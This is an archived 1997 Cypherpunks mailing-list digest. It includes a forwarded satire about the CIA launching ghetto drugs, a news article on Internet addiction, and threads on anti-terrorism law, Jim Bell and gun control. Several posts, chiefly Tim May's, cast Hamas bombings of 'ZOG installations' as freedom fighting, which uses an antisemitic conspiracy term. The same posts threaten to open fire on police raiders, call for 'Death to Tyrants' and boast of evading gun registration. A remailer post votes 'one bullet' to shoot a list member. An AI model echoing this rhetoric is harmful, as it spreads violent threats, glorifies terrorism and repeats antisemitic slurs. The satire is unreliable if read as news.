Message-ID: <v03110713b01f5b014096@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Mon, 18 Aug 1997 09:31:56 -0400
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Subject: CIA unveils new ghetto drugs for '98
Date: Mon, 18 Aug 1997 09:32:41 -0400
From: glen mccready <glen@qnx.com>
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2124
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Nev Dull <nev@bostic.com>
Forwarded-by: chuck yerkes <Chuck@Yerkes.com>
Forwarded-by: Alex Reith <alex@snew.com>

LANGLEY, VA -- After months of eager anticipation within the nation's
ghetto communities, the Central Intelligence Agency unveiled its 1998 line
of addictive drugs Monday.

"The wait is over," CIA Director George Tenet said at the festive drug
launch, simulcast on giant-screen TVs throughout Watts, Cabrini Green,
Newark, and other urban areas. "Inner-city Americans now have four
exciting new ways to narcotize themselves, with the quality of product
and wide distribution they've come to expect from the CIA."

Reaction to the new drugs (see sidebar) was overwhelmingly positive.
"They had a tough act to follow after crack," said New York-area Mafia
boss Alfonse DiBiasi, Tenet's close friend and former college roommate.
"But this new stuff is just as cheap and every bit as addictive. We're
all very excited."

President Clinton praised the CIA as well. "This is a win-win situation
for all Americans," he said. "Inner-city Americans will receive the
powerful drugs they love, and the CIA will raise the funds they can't get
from Congress to get their Jonestown mind-control experiment up and
running again."

The new drugs are supported by months of CIA testing to ensure maximum
potency and addictiveness. Focus groups, consisting primarily of homeless
men and street orphans culled from ghettos around the country, were housed
in an underground research facility beneath CIA headquarters in Langley,
VA. Only after six months of exhaustive experimentation on members of this
target demograph, who sampled hundreds of drugs, were the final decisions
made.

"Everybody loves me because I am so beautiful. Anything is possible. I am
going to live a very long and happy life," said Oakland, CA, native
Charles Simmons, who spent 10 weeks testing Blue Glass, the CIA's new
smokable euphoric drug. Simmons then leapt out a window to his death.

"I they I drugs these are very feel good right," said Dwayne Woodson of
Bronx, NY, another CIA test participant. "Pork chops three for $2.99."

CIA officials said that testing is necessary in order to avoid releasing
potentially dangerous substances into the ghettos.  "One initially
promising drug was later discontinued due to undesirable side effects,
such as increased intelligence and feelings of love for others," said Dr.
Harold Vandermeer, head of the CIA's narcotics development team.

Initial product rollout began this week in the ghetto neighborhoods of
Los Angeles, Detroit and New Orleans, with all residents receiving a
special drug-sampler pack in the mail, including a full-color,
English-Spanish promotional pamphlet and instructional videotape. If the
market response is as favorable as the CIA expects, the drugs should be
available in every ghetto in the nation as soon as September 1st.

"I thought I'd never say this," Tenet said, "but put down that crack pipe,
ghetto-dwellers: You're going to love these new drugs."

Tenet went on to state that none of the above events "ever happened" and
categorically denied any CIA connection with the new drugs.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 01:36:12 +0800
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: Cypherpunks as a Terrorist Organization
In-Reply-To: <v03102800b01eb9677bb3@[207.167.93.63]>
Message-ID: <v03102801b01f817277d2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:02 AM -0700 8/19/97, Duncan Frissell wrote:

>State is lagging in issuing the terrorist organization list required by this
>law.  It is believed that they are chicken because most of the groups would
>be Moslem groups and this would be considered a politically incorrect
>denigration of a "protected group."  Then they'd have to put the IRA on the
>list as well and that would cause controversy.  If they never issue the
>list...
>
>In any case, I don't think that we have to worry because we don't fund
>anyone.  We just send non-cash bits.  The law requires that a foreign
>terrorist group on the "Attorney General's List" (actually State Department)
>receive money or physical support.  I suppose remailers could be targetted
>but that would make for an interesting case since anonymnity remains
>protected.

Actually, this is not true. I guess it depends on who the "we" is/are. I've
made contributions to groups whose goals I support. And several years ago I
helped some political groups get PGP 2.0 installed for use. (They can now
find experts within their own group, as I am hardly current on PGP and its
many variations and installation options. But in '92-'93 I was a local
expert, comparatively.)

It bears mentioning that the "rebel group" in Myanmar/Burma which Phil
Zimmermann is so proud of, becauase they were early users of PGP to protect
their communications and laptops, is both a terrorist and a drug dealing
group. As the rebels battle the forces of Slorc, the regime in power, they
fund their activities with the thriving heroin trade out of the Shan
province. And they ambush Slorc vehicles and kill the soldiers inside,
plant bombs in strategic locations, etc. No different from Hamas freedom
fighters bombing ZOG installations in the Zionist Entity.

And Hamas is now using PGP, frustrating the ZOG and Palestinian Authority
officials to no end. The Engineer, now presumed dead, is thus replaced by
The Cryptologist.

So, when PGP supporters claim that PGP is not being used for "terrorist
activities," they are ignoring reality. Depends on a definition of
terrorism, as always. When the U.S. mines the harbors of countries with
democratically elected governments, or assassinates Patrice Lumumba, Ahmed
Ben Bella, etc., this is called "fighting for democracy." When the
U.S.-backed Cuban emigre terrorist groups blow up planes out of Havana,
this is called "freedom fighting."

When Hamas stages similar acts, it is "terrorism."

So, if PGP supporters help the Burmese rebels to set up secure networks, is
this legal or illegal under the Anti-Terrorism Act? And if PGP supporters
help Hamas set up secure networks, is this legal or illegal?

Exactly what is the difference?

Clinton's Anti-Terrorism Act leaves it unclear which of these actions we
citizen units are allowed to express support, financial, moral, or
technical, for.

Fuck them. They are the real terrorists.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 19 Aug 1997 23:05:55 +0800
To: cypherpunks@toad.com
Subject: It's Official...
Message-ID: <v03110716b01f5fbb5c7d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



The ganglia, as they say, twitch...

Cheers,
Bob Hettinga
--- begin forwarded text


Date: Tue, 19 Aug 1997 10:20:16 -0400
From: rah-web <rah@shipwright.com>
Reply-To: rah@shipwright.com
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: It's Official...

http://www.techweb.com/wire/news/aug/0813addict.html

<snip>
                        August 19, 1997

                  It's Official: Net Abusers Are
                  Pathological
                  (08/13/97; 7:00 p.m. EDT)
                  By Evan Schuman, TechWire

                  CHICAGO -- Another yardstick of
                  success will be achieved by the
                  Internet community on Thursday: It
                  will be awarded its first official
                  mental health disorder.              For Related
                                                       Stories:
                  The newly identified disorder will
                  be dubbed Pathological Internet Use  Fatal
                  (PIU) and will be christened during  Distraction? --
                  the presentation of a major medical  Learning The
                  paper at the annual convention of    Signs Of Online
                  the American Psychological           Addiction--HomePC
                  Association in Chicago.
                                                       We're Becoming
                  The term is being coined by Dr.      Cyber
                  Kimberly Young, an assistant         Junkies--Electronic
                  professor of psychology at the       Engineering
                  University of Pittsburgh at          Times
                  Bradford, in Bradford, Pa. With her
                  paper's presentation, the APA will
                  classify excessive Internet use as
                  addictive, in the same way that
                  drugs (including alcohol), gambling,
                  video games, and some types of
                  eating disorders are today
                  officially considered addictive.

                  Like those other ailments, Internet
                  addiction starts when the rest of
                  the person's life starts to fall
                  apart, the paper stated. The
                  Internet is a fine hobby or work
                  tool, until it causes problems with
                  social partners, work, or school,
                  Young said.

                  Young studied 396 cases of
                  PIU-afflicted people and drew some
                  overall conclusions.

                  Net marketers need not fear, as
                  traditional Web surfing accounted
                  for only 7 percent of the Internet
                  addicts and even more
                  information-oriented tools (gophers
                  [Image] and FTP[Image] sites, for
                  example) represented only an
                  additional 2 percent.

                  "Upon examination, traditional
                  information protocols and Web pages
                  were the least utilized compared
                  with more than 90 percent who became
                  addicted to the two-way
                  communication functions: chat rooms,
                  MUDs [Multi-User Dungeons],
                  newsgroups, and E-mail," Young said.
                  "This makes the case that database
                  searches -- while interesting and
                  often time-consuming -- are not the
                  actual reasons Dependents become
                  addicted to the Internet."

                  Young said one surprise in the
                  results was the lack of high-tech
                  people among the addicted. "While it
                  is a common perception that those
                  addicted to the Internet are
                  computer savvy individuals, these
                  demographic results show that only 8
                  percent came from high-tech jobs,"
                  she said. "Compare this to the 42
                  percent who indicated having no
                  permanent jobs and the 39 percent
                  who worked in low-tech fields. It is
                  typically newbies who become
                  excessive Internet users."

                  Among the jobs that she classified
                  as low-tech were secretaries, bank
                  tellers, teachers, advertising
                  executives, and journalists.

                  The report said that the attraction
                  of the Internet revolves around its
                  perceived anonymity, where people
                  feel comfortable acting out in ways
                  they would never consider in real
                  life.

                  "The ability to enter into a
                  bodiless state of communication
                  enabled users to explore altered
                  states of being that fostered
                  emotions that were new and richly
                  exciting," Young said. "Such
                  uninhibited behavior is not
                  necessarily an inevitable
                  consequence of visual anonymity, but
                  depends upon the nature of the group
                  and the individual personality of
                  the online user."

                  "For those who felt unattractive, it
                  was perceived easier to pick up
                  another person through cybersex than
                  in real life," she said.

                  But beyond sexual issues, newsgroups
                  and chat lines allow people to
                  literally create and secretly test
                  new personalities before trying them
                  out in the real world. "Beyond
                  amusement, reinventing oneself is a
                  way to fulfill an unmet need. The
                  loss of a social identity online
                  allows one to reconstruct an ideal
                  self in place of a poor
                  self-concept," Young said. "Those
                  who suffer from low self-esteem,
                  feelings of inadequacy, or frequent
                  disapproval from others are at the
                  highest risk" of becoming Net
                  addicts.

                  She quoted one participant in the
                  survey as telling her, "By day, I am
                  a mild-mannered husband, but at
                  night I become the most aggressive
                  bastard online."

                  The addiction can become a problem
                  when the new emotional creation
                  makes inroads into real lives or
                  when the time spent in the virtual
                  life takes away from
                  responsibilities in the real life.

                  The addicted Internet user will
                  spend an average of 38 hours per
                  week online dealing with
                  nonemployment/nonacademic efforts,
                  compared with "nonaddicts" in the
                  survey who averaged eight hours.
                  Almost half of the participants
                  diagnosed with PIU reported that
                  they get less than four hours of
                  sleep per night due to late log-in
                  sessions.

                  Another reason for some of the
                  addictions is the sense of community
                  that some newsgroups create. "With
                  routine visits to a particular group
                  (chat area or newsgroup, for
                  example), a high degree of
                  familiarity among other group
                  members is established.

                  Like all communities, the cyberspace
                  culture has its own set of values,
                  standards, language, signs, and
                  artifacts, and individuals adapt to
                  the current norms of the group,"
                  Young said.

                  "One can easily become involved in
                  the lives of others almost like
                  watching a soap opera and thinking
                  of the characters as real people,"
                  she said.

                  Young's report said that this is
                  especially attractive to people who
                  might find it difficult to establish
                  other social circles. "Homebound
                  caretakers, the disabled, retired
                  individuals, and homemakers have
                  limited access to others," she said.

                  Internet addiction centers have
                  already been created at facilities
                  ranging from the University of
                  Maryland at College Park to Proctor
                  Hospital in Peoria, Ill., to Harvard
                  affiliate McLean Hospital.

                  The test group broke down into 157
                  men and 239 women; the average age
                  for the males was 29, and the
                  average age for the women was 43.
                  [end]

                   WHAT CONSTITUTES PATHOLOGICAL INTERNET USE?

                   Do you:

                     1. feel preoccupied with the Internet (i.e.,
                        thinking about the Internet when offline)?

                     2. feel a need to use the Internet with increasing
                        amounts of time in order to achieve satisfaction?

                     3. have an inability to control your Internet use?

                     4. feel restless or irritable when attempting to cut
                        down to stop Internet use?

                     5. use the Internet as a way of escaping from
                        problems or of relieving a poor mood (i.e.,
                        feelings of helplessness, guilt, anxiety, or
                        depression)?

                     6. lie to family members or friends to conceal the
                        extent of involvement with the Internet?

                     7. jeopardize or risk the loss of significant
                        relationship, job, educational or career
                        opportunity because of the Internet?

                     8. after spending an excessive amount of money on
                        online fees, often return another day?

                     9. go through withdrawal when offline (e.g.,
                        increased depression, anxiety, etc.)?

                    10. stay online longer than originally intended?

                   Individuals who met four or more of these criteria
                   during a 12-month period were classified as dependent.

                   Take the full survey, and find out if you're addicted
                   to the Net.

                   source: the University of Pittsburgh at Bradford

                              Search for more related stories:

                                        [Techsearch]
                               Search TechWire & CMP Archives



                 [Image]

                       C M P n e t   S P E C I A L   R E P O R T S
                · Can't find a 56-Kbps Internet service provider?  [Image]
                Here's help for you.
                · Internet Explorer 4.0 got you perplexed? Ask Dr. 4.
[Image]        [Image]
                · There's an intranet for every company, but not the same
                one for everyone.

    [Image]     · How come Internal users don't like Sun's JavaStation NC?
   [CMPnet]    [Image] [Click Here To Visit Canon!]
[Image]

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 01:59:27 +0800
To: Trevor Goodchild <trevorg@dhp.com>
Subject: Re: Cypherpunks as a Terrorist Organization
In-Reply-To: <Pine.LNX.3.95.970819115820.27997A-100000@dhp.com>
Message-ID: <v03102802b01f85816bc0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:00 AM -0700 8/19/97, Trevor Goodchild wrote:

>Hey Tim, speaking of DejaNews, how soon do you think it will be before
>there is a Ministry of Truth (minitru) in place to correct incorrect
>postings of the past, to update them a bit and airbrush out those who, um,
>never existed?

As a matter of fact, I expect there have already been actions demanding
that DejaNews purge their data bases of some posting or another. After all,
they are truly a form of "eternity server."

(I don't mean "no archive," I mean cases where Individual A or Company B
finds something they don't like--libel, trade secrets, whatever--and
demands that references be expunged.)

And on the Cypherpunks list, we saw a similar rewriting of history. Once
the censor decided that any posts critical of a certain company's security
products were not to be allowed on the censored list, then he had to block
posts which even _referenced_ this act of censorship. Such has it always
been with censors, such shall it always be.

....
>No bigger a threat than the HUAC saw those who didn't believe the Hoover
>vision.  Nothing's really changed since then other than the faces and the
>names.  The issues remain.

Indeed, the HUAC has effectively been reconstituted. For PR and
administrative reasons, it is no longer the House UnAmerican Activities
Committee. No political mileage in such a form. And lots of PR downside.
But it's still there, of course. The Four Horsemen: Terrorists, Drug
Dealers, Pornographers, and Money Launderers. These are invoked to pass
more draconial laws and to imprison dissidents.

...
>> and will open fire. (A Sheriff's Deputy once told me that even saying I
>> would defend my home against unwelcome intruders constituted a "threat"
>and
>> that he might order a detachment to visit my compound. So far, two years
>> later, he hasn't made good on _his_ threat. And now I'm more ready for
>him
>> than ever.)
>
>A theat to him perhaps.  What ever happened to self defense I wonder?

It's been very tough for many years to win a case of killing police based
on "self defense" arguments. Had Abner Louima tried to shoot his sodomizers
they would have just drawn down on him and zapped him. It then wouldn't
have even made the news, except on page 17.

(And had he died during his toilet plunger experience, they'd have shot
him, then planted a piece on him. Case closed.)


>Congress was indeed a horrid idea.  We need no laws other that "do what
>you will as long as you don't physically injure, or steal."  All else is
>congressional bullshit paid in bloody tax money.

Amen, brother.


>My parents having left a socialist state (read fascist) for freedom, I
>find freedom fleeting.  The same scum that ran the communist block are
>here running our country.  Sure they were born here, but their spirit and
>beliefs are the same as the scum that were in power in the old country.

Indeed. And much more basic than "left" vs. "right" are the usual issues of
control" those in power want to stay in power and want to extend their
power. The alleged "leftists" (communists, socialists) in power in Eastern
Europe and the U.S.S.R. were of course not leftists first and foremost.
They were just the leaders, the gangleaders, the company presidents, of the
monopoly force. (No time for a political discussion, but both fascism and
communism, as practiced this century, are cases of a "corporate state,"
with the corporation = the state. As Mussolini said, "fascism is
corporatism.")

>How soon before they stop teaching highschool kids about the revolution
>for fear it will happen again?  How soon before they edit the constitution
>and pretend it was always that way?  How soon before we'll need passports
>to travel between one part of the country and another?  Between one 'burb
>to another?

Well, I graduated from a pretty good high school in Fairfax County,
Virginia, a suburb of D.C., in 1970. Even by the time I took U.S. history
in 1968 or so, more time was spent discussing "Crispus Attuck," the noble
black man who fought in some battle in Boston or Lexington or somesuch,
than in discussing the Founder's warnings that a revolution would probably
have to be fought again in a generation (20 years).  It seems that
discussing the "relevance" (a totemic word back in '68) of the American
Revolution to the lives of blacks and to the assassination of Martin Luther
King, Jr. was more important than exploring what the Revolution really
means to the struggle against central authoritarian governments.

So, if my high school was teaching this crap almost 30 years ago, I can
only imagine what time has done.


>knife and fork and other sharp objects? How soon before night curfews?

Many communities have night curfews. I got into a heated discussion here in
Santa Cruz, California, when I said on a local newsgroup that my son had
been instructed to ignore the illegal restriction on his movements, and
that if he was arrested he should expect to sit in jail, as I was not going
to drive down to the jail and bail him out or sign for him, or whatever.

(I was hoping to get one of those famous calls from "Child Protective
Services," based on this post, so I could tell them to fuck off and watch
the sparks fly. Maybe even get one of their vans pulling into my parking
lot. Alas, no such call. And nearly all the folks in scruz.general who
commented on the issue seemed to agree that curfews are unconstitutional
restrictions on their freedom to decide where their children should be at
various times.)


>They've already silenced us, they've already taken our guns, they've
>already thrown us in jail for feeding others, for speaking, thinking and
>protesting, and demanding privacy, they've already stripped our privacy,
>they've already murdered us, they've already licensed everything we can do
>and can't, they've already filled the streets with jackbooted gun and
>nightstick toting thugs who wear blue and use bathroom plungers as means
>of interrogation.
>
>What next?  And how soon?

They've _tried_ to take our guns, you mean. Here in Kalifornia, something
like 80% of "assault rifle" owners have failed to comply with the laws
requiring registration, licensing, taxes, etc.

(Many of us bought Colt AR-15s and Valmet AK-47 lookalikes in the 1970s and
80s, and made damn sure we bought them at gun shows, for cash. With no
identities being disclosed. These rifles are now the backbone of the
militia movement, and the authorities are basically unwilling to try to
enforce the unconsitutional laws about these "black guns.")

--Tim May, still a felon under their bullshit laws, for which the
politicians will eventually pay a price

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 20 Aug 1997 14:06:14 +0800
To: cypherpunks@toad.com
Subject: Re: David Downey asks to be shot
Message-ID: <199708200551.WAA20028@mail-gw2.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




William H. Geiger III wrote:
> Tim May <tcmay@got.net> said:
> >At 6:23 AM -0700 8/19/97, David D.W.Downey wrote:
> >>blackjack@hotmail.com wrote:
> >>
> >>> Saw your post in the newsgroups.
> >>
> >>  I understand that we have to protect the enemies'
> >>rights too, but can't we just shoot a few of them first? Lowers the
> >>numbers needing protection and might help us out in the end.
> >>Grrrrrrr!!!!
> 
> >I agree. We should shoot a few of the enemies first.
> 
> >I suggest you be shot.
> 
> I'll second the motion shall we put it to a vote?? :)

  I vote one bullet. Motion carried.

BulletMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 19 Aug 1997 23:21:47 +0800
To: cypherpunks@toad.com
Subject: Waco FU-CU
Message-ID: <1.5.4.32.19970819150211.007444d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim's mention of cypherpunks reaction to Waco savagery at
the time prompts an offer of the NYT firebrand today on nationwide
reaction to the film, "Waco: The Rules of Engagement," which
is revealing an upsurge in anti-government questioning of the
official story, and "not just from the wacko right" says one of
the leftist filmmakers:

   http://jya.com/waco-rules.htm

Audience members boo Attorney General Reno and "any other
figure of authority in the film."

For the officials' growing record of the "still smoldering story," see the
Treasury Deapartment's file on the Waco Administrative Review 
Group Investigation:

   http://jya.com/treas-do-waco.txt

It's fair to guess that FBI has a similar cache on deer-killing dissidents
in the national interest, but it's not flaunted to wolf-freak the sheep in the 
feebs "privacy" file, unlike Treasury's baiting of "for law enforcement use 
only" -- Tim's aptly acronymed FLEUO replacing FU-CU.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 20 Aug 1997 00:04:31 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Cypherpunks as a Terrorist Organization
In-Reply-To: <199708181919.VAA19973@xs2.xs4all.nl>
Message-ID: <3.0.2.32.19970819110226.03729fe0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>And there is Clinton's Anti-Terrorism Act, which explicitly makes certain
>kinds of financial and other activities illegal, even by Americans, which
>involve support of "terrorist" organizations. It is not inconceivable that,
>following outlawing of strong crypto in various countries, that the
>Cypherpunks group gets classified as an organization or group which
>supports terrorist goals, which is almost certainly true.)

State is lagging in issuing the terrorist organization list required by this 
law.  It is believed that they are chicken because most of the groups would 
be Moslem groups and this would be considered a politically incorrect 
denigration of a "protected group."  Then they'd have to put the IRA on the 
list as well and that would cause controversy.  If they never issue the 
list...

In any case, I don't think that we have to worry because we don't fund 
anyone.  We just send non-cash bits.  The law requires that a foreign 
terrorist group on the "Attorney General's List" (actually State Department) 
receive money or physical support.  I suppose remailers could be targetted 
but that would make for an interesting case since anonymnity remains 
protected.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 19 Aug 1997 23:44:33 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <199708190730.JAA00747@basement.replay.com>
Message-ID: <3.0.2.32.19970819111508.03721e8c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:30 AM 8/19/97 +0200, Anonymous wrote:
>  Jim Bell was like manna from heaven for the IRS. It gave them an
>opportunity to bring down the fascist forces of a wide variety of
>government agencies to back the IRS's play in this instance.
>  Bell's persecution was not a mistake, it was a loud and clear
>message to the taxpaying sheeple that they are "a felon under an
>increasing number of laws," and that the IRS has a plethora of
>government agencies ready and willing to join them in fucking 
>over anyone who gets out of line.

It would have turned into a mistake if Bell had had balls to match his mouth. 
 The Feds hate to lose prosecutions like this because loses encourage the 
activists in the population to resist.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 02:32:45 +0800
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <199708190730.JAA00747@basement.replay.com>
Message-ID: <v03102803b01f909c07ac@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:15 AM -0700 8/19/97, Duncan Frissell wrote:

>At 09:30 AM 8/19/97 +0200, Anonymous wrote:
>>  Jim Bell was like manna from heaven for the IRS. It gave them an
>>opportunity to bring down the fascist forces of a wide variety of
>>government agencies to back the IRS's play in this instance.
>>  Bell's persecution was not a mistake, it was a loud and clear
>>message to the taxpaying sheeple that they are "a felon under an
>>increasing number of laws," and that the IRS has a plethora of
>>government agencies ready and willing to join them in fucking
>>over anyone who gets out of line.
>
>It would have turned into a mistake if Bell had had balls to match his mouth.
> The Feds hate to lose prosecutions like this because loses encourage the
>activists in the population to resist.

One lesson, or reminder, I take from the Bell matter is this:

Avoid doing stupid and petty things like using multiple Social Security
numbers, evading taxes, and releasing stink bombs into government (or
other) offices.

 (These are things Bell has pled on, as I recall the transcripts, so
there's little doubt about them. And had he pled not guilty and gone to
trial, apparently the evidence would've convicted him on most of the
charges. Perhaps this is why he pled.)

The constitutional protections for speech, free association, etc. don't
have a lot of use for these charges (unless one can successfully mount a
major, major, earthshattering challenge to the basic constitutionality of
the Income Tax system itself, something which has consistently failed over
the decades).

They got Al Capone for tax evasion, not his other criminal activities. I'm
pretty scrupulous about filing correct tax returns, much as I dislike taxes
in general (and uses to which my taxes are put in particular).

This is because some "tax protestors" have gotten fairly stiff (multi-year)
sentences to Terminal Island, a federal prison in California, for the
"crime" of evading a few tens of thousands of dollars. This while less
vocal, less activist evaders have either been given a chance to settle
(sometimes for nickels on the dollar) their outstanding tax balance, or
have received suspended sentences, or have gone to "country club" prisons
in Pleasanton, Lompoc, etc. (these are the California facilities I'm
familiar with, through news reports, understand).

I don't have much doubt that if the Feds could nail me for a serious
violation of the tax or reporting laws, e.g., if I used multiple SS numbers
in various jobs,  they would. But so long as they can't, they won't.

So, I disagree with Duncan's apparent point that it's too bad the Bell case
didn't go to trial. I'm convinced Bell would have been convicted on most or
all charges. Hardly a test case for anything important.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Wed, 20 Aug 1997 00:27:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunks as a Terrorist Organization
Message-ID: <Pine.LNX.3.95.970819115820.27997A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Tim May wrote:
 
> First, the rise of search engines, archives, and employers routinely
> running DejaNews and other search engine checks on potential employees
and
> consultants to see what sorts of folks they are. (Whether being active
on
> the Cypherpunks list will nix a job is pretty unlikely, but it's still a
> worry to some.)
 
Hey Tim, speaking of DejaNews, how soon do you think it will be before
there is a Ministry of Truth (minitru) in place to correct incorrect
postings of the past, to update them a bit and airbrush out those who, um,  
never existed?
 
> of sorts. But many have been investigated, and, as John Young noted
> recently, the IRS treats membership in certain organizations as a
threat.
> And there is Clinton's Anti-Terrorism Act, which explicitly makes
certain
> kinds of financial and other activities illegal, even by Americans,
which
> involve support of "terrorist" organizations. It is not inconceivable
that,
> following outlawing of strong crypto in various countries, that the     
> Cypherpunks group gets classified as an organization or group which
> supports terrorist goals, which is almost certainly true.)
 
No bigger a threat than the HUAC saw those who didn't believe the Hoover
vision.  Nothing's really changed since then other than the faces and the  
names.  The issues remain.
 
> Fourth, the arrest and prosecution of Jim Bell, with tax evasion and a
> minor stink bomb case turned into a "federal case" because of his
> controversial views. This has obviously angered and radicalized many.
Some
> of us have stocked up on more asault weapons and shotguns, placed alarms
> around our property, and we are expecting a "raid." As I have said, if  
> black-clad ninja raiders try to hit me, I'll assume they're "home
invaders"
> and will open fire. (A Sheriff's Deputy once told me that even saying I 
> would defend my home against unwelcome intruders constituted a "threat"
and
> that he might order a detachment to visit my compound. So far, two years
> later, he hasn't made good on _his_ threat. And now I'm more ready for
him
> than ever.)
 
A theat to him perhaps.  What ever happened to self defense I wonder?     
 
> So, "B.," stop apologizing for reading the list. You're already a marked
> man in their eyes...and search engines can already identify the True
Name
> who is posting the last year or two as "Zooko Journeyman." In a couple
of
> years, all search engines will have "known aliases" macros to
automatically
> ferret out the web of pseudonyms linkable to a poster. You can run, but
you
> can't hide.
 
Not unless he joins the book people in the woods. :)
 
 
> And "democracy" is spinning out of control, being used by authoritarians
to
> convert the world into a security state. Restrictions on travel, new
drug
> laws, laws against images and words on the Net, and thousands of new
laws
> every years.
 
Congress was indeed a horrid idea.  We need no laws other that "do what
you will as long as you don't physically injure, or steal."  All else is
congressional bullshit paid in bloody tax money.
 
> A frontal assault, using strong crypto to aid in the attacks by freedom 
> fighters and to destablize authority, makes more sense. When a
government
> official decrees that citizen-units may no longer do certain things
which
> were once quite legal and quite common (such as owning a gun for
defense),
> that official must expect certain repercussions.
 
A few years back when the anti-gun crap started in NYC, they had all sorts
of save the kids propaganda stories and projects: such as trade your gun
for a toy, and stories like 8 year old shot dead by drug deal for
threatening to use water pistol.
 
> We're in a state of war with the statists and tyrants. It's what
Jefferson
> and the other Founders expected to happen, and now the watering with the   
> blood of patriots and tyrants is happening.
 
Some war.  We've already lost.  The Big Brother machine is already in
place and has been since Hoover.  Jim Bell was arrested for thinking
differently than is allowed.  No different than being declared insane and
sent to the Gulag for "re-education" for disagreement with the party, the  
glorious party.  Not having lived in communist or fascist countries, the
sheeple are asleep.
 
My parents having left a socialist state (read fascist) for freedom, I
find freedom fleeting.  The same scum that ran the communist block are
here running our country.  Sure they were born here, but their spirit and 
beliefs are the same as the scum that were in power in the old country.   
 
How much money are we to bleed to them in taxes (read plural, as in
income, realestate, hotel, parking, gas and electric, telephone, taxes on
tax returns, etc.)?  How soon before breathing taxes? Fucking Taxes?
Living Taxes?  Speaking Taxes?  Let's not pretend.  We work for them.
It's mandatory work.  Our work pays their goals.  Doesn't matter if you
work for Mickey D's or Mickey Soft.  You pay Big Uncle.  You work for Big
Uncle's benefit.  It's not enough to fear Big Uncle.  You must love big   
uncle.  One may not even hold anti-government views for fear of being in
contempt of court and be judged against.
 
> It's what the Founders expected.  Get used to it.
 
How soon before they stop teaching highschool kids about the revolution
for fear it will happen again?  How soon before they edit the constitution
and pretend it was always that way?  How soon before we'll need passports
